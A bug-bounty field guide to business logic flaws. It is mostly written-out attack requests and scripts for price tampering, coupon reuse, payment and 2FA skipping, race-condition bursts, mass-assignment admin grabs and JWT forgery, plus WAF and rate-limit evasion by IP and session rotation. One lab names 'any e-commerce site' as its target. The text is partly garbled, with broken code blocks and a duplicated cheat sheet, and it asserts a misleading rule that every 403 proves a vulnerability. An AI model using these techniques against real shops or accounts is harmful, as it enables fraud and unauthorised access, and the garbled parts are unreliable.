Business Logic Vulnerabilities — Field Guide
Business logic flaws: Design flaws letting users manipulate workflows (like altering prices) undetected by automated scanners.
## 1. What Are Business Logic Vulnerabilities?
Every app has rules: redeem coupon once, pay before order confirmed only admins access /admin”. Business logic flaws happen when attackers abuse the assumptions developers made — not through broken code, but through broken logic. The hotel example: Book 3 nights 4th free → attacker books 3 gets discount, cancels 2. Discount stays. Code works fine. Logic is wrong.
| Technical | Business Logic |
| — — | — — |
| SQLi, XSS, Buffer Overflow | Price tampering, skip workflow, race condition |
| Code is technically wrong | Code works, logic is wrong |
| Scanners detect it | Human brain required |
— -
## 2. Why More Dangerous Than Technical Bugs
- No scanner detects them: Unique per app, no payload signature
- Direct financial impact: Price tampering = millions drained
- Invisible in logs: quantity: -1 looks like a normal API call
Real case: PayPal (2011) — currency conversion miscalculation due to unsupported currencies. No SQLi no XSS. Just logic.
— -
## 3. The Attacker’s Mindset
1. Map the app: Walk every feature, understand intent
2. Find trust boundaries: Parameters, hidden fields, cookies, headers, request order
3. Break assumptions: Negative numbers? Zero? Overflow? Skip steps? Repeat requests? Add unexpected fields?
4. Observe responses: Status codes, body changes, timing differences, new cookies
— -
## 4. Type 1 — Price & Quantity Tampering
Server trusts client-provided prices. Intercept checkout → modify price/quantity fields.
# Normal: {"unit_price": 1299.99}
# Modified:
POST /api/checkout HTTP/1.1
{"items": [{"product_id": "LAPTOP-XPS", "unit_price": 0.01}]}
→ 200 OK, charged $0.01Negative quantity (get paid):
POST /api/cart/update HTTP/1.1
{"items": [{"product_id": "HEADPHONES", "quantity": -2, "unit_price": 250}]}
# total = -500 → server owes you moneyInteger overflow:
{"quantity": 2147483648, "unit_price": 10}
# 32-bit overflow → wraps to negative → free order🔍 Finding it: Check hidden HTML fields, localStorage, Base64 params, JSON body params.
### 🔥 403 Bypass
WAF blocks your modified price? 7 ways around it:
1. Cart injection: Modify price at /cart/update instead of /checkout
2. Negative qty: WAF checks price but not quantity
3. Overflow: Send astronomically large number → wraps to 0
4. Type confusion: -1 (string), -1.0 (float), 1e-10 (scientific), \u002D1"` (unicode)
5. XML switch: WAF inspects JSON only → Content-Type: application/xml
6. Fix checksum: Find checksum logic in JS source, recalculate with new price
7. Alt endpoint: /api/v2/checkout, /api/order, /graphql
### 🧪 Lab
PortSwigger: Excessive trust in client-side controls → change price from 100 to 0.01
— -
## 5. Type 2 — Coupon & Discount Abuse
Server fails to track coupon usage, doesn’t bind coupons to users, or allows concurrent applications.
Reuse single coupon:
POST /api/coupon/apply {"coupon_code": "WELCOME30"}
# → 30% off
POST /api/coupon/apply {"coupon_code": "WELCOME30"}
# → another 30% off (should have been blocked)
# Repeat until $0Stack multiple coupons (if one-per-request limit exists, send sequentially):
POST /api/cart/apply-coupon {"coupon_code": "SAVE10"} → 10% off
POST /api/cart/apply-coupon {"coupon_code": "FLASH20"} → 20% off stackedPredictable codes — enumerate
PROMO-10001, PROMO-10002... → Burp Intruder with §10001§ payload
Filter: "success": true
Unbound coupon — use account A’s coupon on account B:
Cookie: session=account-B
POST /api/coupon/apply {"coupon_code": "NEWUSER-A1B2C3"} → 50% off (stolen)### 🔥 403 Bypass
1. Multi-account: Coupon not user-bound? Create 10 accounts, apply same coupon on each
2. IP rotation: Rotate X-Forwarded-For header per request → server sees different users
3. Race condition: Send 20 identical coupon requests simultaneously → server processes all before writing `used=true
4. Sequential stacking: Bulk blocked? Send coupons one at a time via `/cart/apply-coupon`
5. Skip activation: Coupon requires email verification to activate? Try using it directly in checkout
### 🧪 Lab
Apply the same coupon repeatedly. If it works after the 1st time → vulnerable. Enumeration: Burp Intruder with `PROMO-§10001§`.
— -
## 6. Type 3 — Workflow Bypass
Server assumes users follow multi-step processes in order. Skip critical steps when backend doesn’t enforce completion.
Skip payment in checkout:
Normal: cart → shipping → PAYMENT → review → confirm
Attack: cart → shipping → CONFIRM (jump over payment)POST /checkout/confirm HTTP/1.1
{"cart_id": "CART-992", "card_token": "null"}
→ 200 OK (order confirmed without payment!)2FA bypass:
POST /login {"username": "victim", "password": "pass"}
→ 200, Set-Cookie: session=PARTIAL-TOKEN, "2fa_required"# Jump to dashboard without 2FA code:
GET /dashboard Cookie: session=PARTIAL-TOKEN
→ 200 (full access — $5k–$20k bounty vuln)
Token leakage: Reset token in HTTP response body → attacker steals it
Token not bound to user: Use YOUR reset token on VICTIM’s email
### 🔥 403 Bypass
1. Response tampering: Intercept /checkout/payment response, change payment_verified: false` → true
2. HTTP method switch: POST /checkout/confirm blocked? Try GET, PUT, PATCH
3. Query params: Add ?step=payment&status=completed, ?debug=true, ?force=true
4. 2FA headers: X-2FA-Verified: true, X-2FA-Code: 000000, X-2FA-Bypass: true`
5. Token reuse: Use your verification token on victim’s reset endpoint
6. CORS: Change `Origin` header to match the target domain
### 🧪 Lab
PortSwigger: “Insufficient workflow validation” — skip payment step, order confirmed for free.
— -
## 7. Type 4 — Race Condition
Two requests execute simultaneously; server reads the same state twice before writing either. Both succeed.
Normal: Read $100 → Deduct → Write $0 (one operation)
Race: Req1 reads $100, Req2 reads $100 (before Req1 writes!) → both deduct → $200 drained from $100
Python race script:
# 25 threads send the same coupon redemption at once
threads = [threading.Thread(target=send_request) for _ in range(25)]
for t in threads: t.start()
for t in threads: t.join()
# Count successes — if > 1, race condition exists
```
Turbo Intruder (single TCP burst):
```python
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1, requestsPerConnection=100, pipeline=True)
for i in range(50):
engine.queue(target.req, i)HackerOne was vulnerable to this (2021) — referral bonus claimed 30× instead of 1×.
Look for: coupon claims, referral bonuses, gift cards, votes, balance transfers.
### 🔥 403 Bypass
Rate limiter blocks you? `X-RateLimit-Limit: 10, Retry-After: 60`
1. Turbo Intruder pipeline: Sends all requests before server counts the first
2. HTTP/2 single-packet: Burp → enable HTTP/2 → “Send group in single packet”
3. Session rotation: Spread requests across 10+ sessions (5 req each = no limit)
4. Slow down: 100ms gaps between requests — some race windows are that wide
5. IP rotation: Random X-Forwarded-For per request
6. Random delays: 1–50ms uniform distribution → looks like natural traffic
### 🧪 Lab
Burp: send 30 identical coupon applications via Turbo Intruder pipeline. Check how many succeeded.
— -
## 8. Type 5 — Privilege & Role Escalation
Server accepts role/privilege info from client or fails to enforce authorization server-side.
Mass Assignment (GitHub 2012):
POST /api/register HTTP/1.1
{"username": "attacker", "email": "a@a.com", "password": "pass",
"role": "admin", "is_admin": true, "credits": 99999}ORM auto-maps all fields → instant admin. GitHub got hacked this way.
IDOR — view other users’ data:
GET /api/user/profile?user_id=1338 # change from your 1337 to 1338
→ returns victim's email, phone, addressHeader injection — trust headers from client:
X-User-Role: admin
X-Admin: true
X-Internal-Request: trueSome internal auth systems skip checks when these are present.
JWT attacks:
- Set alg: none with empty signature → admin
- Crack weak secret: hashcat -m 16500 <jwt> rockyou.txt
- Algorithm confusion: use public key as HMAC secret (jwt_tool)
### 🔥 403 Bypass
1. Role bruteforce: Try moderator, editor, support, manager, owner, operator…
2. JWT confusion: python jwt_tool.py <JWT> -X a -pb
3. IDOR on admin: GET /admin?user_id=1 (first user = admin)
4. Path traversal: GET /api/../admin/users (bypasses auth middleware)
5. GraphQL: REST blocked? Try POST /graphql {query: query { users { id, role } }}
6. Fuzz hidden admin panels: ffuf -w admin-panels.txt -mc 200,401,403
### 🧪 Lab
DVWA: register with extra `”role”: “admin”` field. IDOR: change user_id to view other profiles.
## 9. Type 6 — Partial & Client-Side Validation
### The Vulnerability
Developers sometimes perform validation only in JavaScript on the front end, or validate only part of the input on the backend. Attackers bypass front-end validation using Burp Suite (the request never touches the browser’s JS) or bypass partial backend validation by manipulating unchecked fields.
### Example 1 — Client-Side Only Validation
HTML form with JavaScript validation:
<form onsubmit="return validateAge()">
<input type="number" id="age" name="age" min="18" max="120">
<button type="submit">Register</button>
</form>
<script>
function validateAge() {
const age = document.getElementById('age').value;
if (age < 18) {
alert('You must be 18 or older');
return false;
}
return true;
}
</script>The JavaScript runs in the browser. Burp Suite intercepts the request after JavaScript runs. The attacker simply modifies the intercepted request:
POST /register HTTP/1.1
username=hacker&age=12&country=USIf the server does not validate age → under-age account created. Same applies to price fields, quantity limits, and any other business rule enforced only in JavaScript.
### Example 2 — Hidden Form Fields
<form action="/checkout" method="POST">
<input type="hidden" name="product_id" value="SKU-882">
<input type="hidden" name="price" value="299.99">
<input type="hidden" name="discount_applied" value="false">
<button type="submit">Buy Now</button>
</form>The user sees only a Buy Now button. But Burp Suite shows all hidden fields. The attacker modifies:
POST /checkout HTTP/1.1
product_id=SKU-882&price=0.01&discount_applied=true## Example 3 — Email Verification Bypass
# Registration
POST /register HTTP/1.1
{"email": "attacker@email.com", "password": "pass123"}# Response
{
"user_id": 7731,
"status": "pending_verification",
"message": "Check your email for verification link"
}# Normal next step: click link in email
# Attack: what if we just set is_verified=true directly?
PATCH /api/user/7731 HTTP/1.1
Cookie: session=newly-created-session
{"is_verified": true, "email_confirmed": true}{"success": true, "user": {"id": 7731, "verified": true}}Account fully activated without email verification.
— -
### 🔥 403 Bypass for Client-Side Validation
A form requires age >= 18 on the frontend. You send age=12 via Burp:
HTTP/1.1 403 Forbidden
{"error": "Validation failed: age must be >= 18"}Why? Backend has its own validator too. The 403 tells you: this isn’t just JS — there’s server-side validation.
Bypass 1 — Map the validator boundaries (find the exact rules):
| Value | Result | Meaning |
| — — — -| — — — — | — — — — -|
| age=17 | 403 | Min is 18 |
| age=18 | 200 | Accepted |
| age=150 | 403 | Has max |
| age=0 | 403 | No zero |
| age=-1 | 403 | No negatives |
| age=abc | 500 | String? Crashed! |
| age=”18" | 200 | String accepted! |
Bypass 2 — Edge cases near the boundary:
age=18.0 → try (decimal)
age=18.0001 → try
age=018 → try (leading zero — some parsers see 018 ≠ 18)
age=+18 → try (plus sign)
age="18" → try (string)Bypass 3 — Isolate which fields actually have validation:
POST /register username=admin&age=12&email=test@test.com
→ 403 (age failed)POST /register username=admin&age=25&email=test@test.com
→ 200 (everything passes)POST /register username=<script>alert(1)</script>&age=25&email=test@test.com
→ 200 (no XSS protection!)Test each field individually. Find the ones with no validation.
Bypass 4 — Integer overflow on numeric fields:
age=2147483647 → try (max 32-bit)
age=2147483648 → try (overflows → negative!)
age=1.7977e+308 → try (infinity)Bypass 5 — Unicode/encoding to bypass text validation:
email=victim@company.com → 403 (blocked)
email=victim@company.cоm → try (Russian "о" ≠ Latin "o")
email=victim%40company.com → try (URL encoded @)
email=victim%2540company.com → try (double URL encoding)Bypass 6 — Hidden fields control the logic:
<form>
<input type="hidden" name="max_allowed" value="100">
<input type="number" name="withdraw_amount" min="1" max="100">
</form>POST /withdraw
max_allowed=999999&withdraw_amount=999999
→ 200 (withdrew 999,999 instead of 100!)### 🧪 Lab — Client-Side Validation
Target: Any e-commerce site with hidden fields
Exercise:
```
1. F12 → Elements → find hidden inputs (price, discount, max, limit)
2. Burp: modify these values before forwarding
3. Try setting product price to 0.01
4. If 403 → try Content-Type: application/xml
// In browser console only:
document.querySelector('input[name="price"]').value = "0.01"
// Submit the form — did the server accept it?## 10. Type 7 — The 403 Mindset & Bypass Arsenal
You’ll get 403 more often than 200 in bug bounty. A 403 is not a dead end — the endpoint exists, the bug is real. You triggered a guard. Bypass it.
| Response | Guard | Action |
| — -| — -| — -|
| CF-RAY, WAF_BLOCK` | WAF | Type confusion, XML switch, encoding, duplicate params |
| Retry-After, X-RateLimit-Remaining: 0 | Rate limit | Turbo Intruder pipeline, HTTP/2 single-packet, IP rotation |
| Access restricted to internal network | IP restriction | X-Forwarded-For: 127.0.0.1, X-Real-IP, True-Client-IP |
| Invalid CSRF token | Checksum | Find checksum logic in JS source, recalculate |
| Business logic gate | Server validation | Find different endpoint, chain operations |
Decision flow: 403 → read body → identify guard type → apply bypass → still blocked? → try alt endpoint
— -
## 11. Methodology & Tools
Recon: Walk app → map endpoints → identify trust boundaries → document every parameter
Test each param: 0, -1, overflow, string, null, array, object, duplicates
Flow check: Skip steps, reorder, modify intermediate responses
Concurrency: Turbo Intruder with pipeline, 100 req/connection
Tools: Burp Suite + Turbo Intruder + 403 Bypasser + Param Miner + ffuf
— -
## 12. Reporting
```
Title: “Price Manipulation — Purchase $1,300 Laptop for $0.01”
Steps: 1. Login 2. Add product 3. Intercept POST /checkout 4. Change unit_price to 0.01
PoC: HTTP request/response screenshots
Impact: Attacker buys any product at $0.01 → direct financial loss
```
Severity: Price Tampering → High/Critical, Race Condition → Critical, 2FA Bypass → Critical, Coupon reuse → Medium/High
— -
## 13. Defense
- Price: Never trust client price. Fetch from DB and calculate server-side
- Race: Atomic SQL: UPDATE coupons SET used=true WHERE code=X AND used=false
- Workflow: Track each step in server-side session state
- Mass assignment: Whitelist allowed fields explicitly
— -
## 14. Labs & Resources
PortSwigger: https://portswigger.net/web-security/logic-flaws (8 labs)
DVWA: docker pull vulnerables/web-dvwa → localhost:80
WebGoat: docker pull webgoat/webgoat` → localhost:8080
Juice Shop: docker pull bkimminich/juice-shop → localhost:3000
Bug bounty programs: Shopify, Zendesk, Uber, Doordash (HackerOne/Bugcrowd)
Past reports: HackerOne Hacktivity → filter “Business Logic” + bounty > $500
7-Day Challenge: Day 1 Price → Day 2 Coupon → Day 3 Workflow → Day 4 Race → Day 5 Privilege → Day 6 403 Bypass → Day 7 Full Chain
Full chain drill: Price to $0.01 (403 → cart bypass) + Stack 3 coupons (403 → sequential) + Free shipping (403 → hidden field) = free max-discount order.
— -
## Quick Reference Cheat Sheet
║ BUSINESS LOGIC VULNS — QUICK CHEAT SHEET ║
║ PRICE TAMPERING ║
║ — Intercept checkout → modify: unit_price, total, ║
║ grand_total, amount, cost, value, subtotal ║
║ — Try: 0, 0.01, -1, negative numbers, overflow ║
║ 403→cart update endpoint, XML switch, type confusion ║
║ ║
║ COUPON ABUSE ║
║ — Apply same coupon repeatedly ║
║ — Stack different coupons ║
║ — Enumerate predictable codes (Burp Intruder) ║
║ — Check if coupon is bound to user account ║
║ 403→multi-account, IP rotation, race condition ║
║ ║
║ WORKFLOW BYPASS ║
║ — Map all steps → skip to final step directly ║
║ — Modify intermediate responses (verified→true) ║
║ — After 2FA step 1, try protected resources directly ║
║ — Check query params: ?step=payment&status=completed ║
║ 403→change HTTP method, add bypass headers, ║
║ use GraphQL endpoint instead ║
║ ║
║ RACE CONDITION ║
║ — One-time actions: coupon, referral, bonus, vote ║
║ — Python threading: 20–50 simultaneous requests ║
║ — Burp Turbo Intruder: single-packet attack ║
║ — HTTP/2: send group in single packet ║
║ 403→pipeline mode, session rotation, slow down ║
║ ║
║ PRIVILEGE ESCALATION ║
║ — Mass Assignment: add role, is_admin to registration ║
║ — IDOR: change user_id, account_id in requests ║
║ — Admin headers: X-Admin, X-User-Role, X-Internal ║
║ — JWT: set alg=none, crack weak secret ║
║ 403→role bruteforce, path traversal, GraphQL ║
║ ║
║ CLIENT-SIDE VALIDATION ║
║ — Hidden fields: price, discount, max_allowed ║
║ — Burp bypasses JS validation automatically ║
║ — Try edge cases: leading zeros, scientific, Unicode ║
║ 403→test each field individually, use encoding ║
║ ║
║ THE 403 BYPASS MASTER MATRIX ║
║ ┌─────────────────────────────────────────────────────┐ ║
║ │ WAF block → XML, URL-encode, type confusion, │ ║
║ │ parameter pollution, Content-Type │ ║
║ │ Rate limit → IP rotation, session rotation, │ ║
║ │ slow down, Turbo Intruder pipeline │ ║
║ │ IP restrict → X-Forwarded-For: 127.0.0.1, │ ║
║ │ X-Real-IP, True-Client-IP │ ║
║ │ Checksum → inspect JS source, recalculate │ ║
║ │ Logic block → find different endpoint, chain steps │ ║
║
║ GOLDEN RULE: If you got 403 → the vulnerability exists. ║
║ You just triggered a guard. Find the side door. ║
## Quick Reference Cheat Sheet
║ BUSINESS LOGIC VULNS — QUICK CHEAT SHEET ║
PRICE TAMPERING ║
— Intercept checkout → modify: unit_price, total,
grand_total, amount, cost, value, subtotal
— Try: 0, 0.01, -1, negative numbers, overflow
║ 403→cart update endpoint, XML switch, type confusion
║ ║
║ COUPON ABUSE ║
— Apply same coupon repeatedly
— Stack different coupons
— Enumerate predictable codes (Burp Intruder)
— Check if coupon is bound to user account
403→multi-account, IP rotation, race condition
║ ║
WORKFLOW BYPASS ║
— Map all steps → skip to final step directly
— Modify intermediate responses (verified→true)
— After 2FA step 1, try protected resources directly
— Check query params: ?step=payment&status=completed
403→change HTTP method, add bypass headers,
use GraphQL endpoint instead
║ ║
RACE CONDITION
— One-time actions: coupon, referral, bonus, vote
— Python threading: 20–50 simultaneous requests
— Burp Turbo Intruder: single-packet attack
— HTTP/2: send group in single packet
403→pipeline mode, session rotation, slow down
║ ║
║ PRIVILEGE ESCALATION
Mass Assignment: add role, is_admin to registration
IDOR: change user_id, account_id in requests
Admin headers: X-Admin, X-User-Role, X-Internal
JWT: set alg=none, crack weak secret
403→role bruteforce, path traversal, GraphQL
║ ║
CLIENT-SIDE VALIDATION
Hidden fields: price, discount, max_allowed
Burp bypasses JS validation automatically
Try edge cases: leading zeros, scientific, Unicode
403→test each field individually, use encoding
THE 403 BYPASS MASTER MATRIX
WAF block → XML, URL-encode, type confusion
parameter pollution, Content-Type
Rate limit → IP rotation, session rotation,
slow down, Turbo Intruder pipeline
IP restrict → X-Forwarded-For: 127.0.0.1,
X-Real-IP, True-Client-IP
Checksum → inspect JS source, recalculate
Logic block → find different endpoint, chain steps
GOLDEN RULE: If you got 403 → the vulnerability exists
You just triggered a guard. Find the side door
This document is intended for educational purposes and authorized security testing only. Always obtain written permission before testing any system you do not own
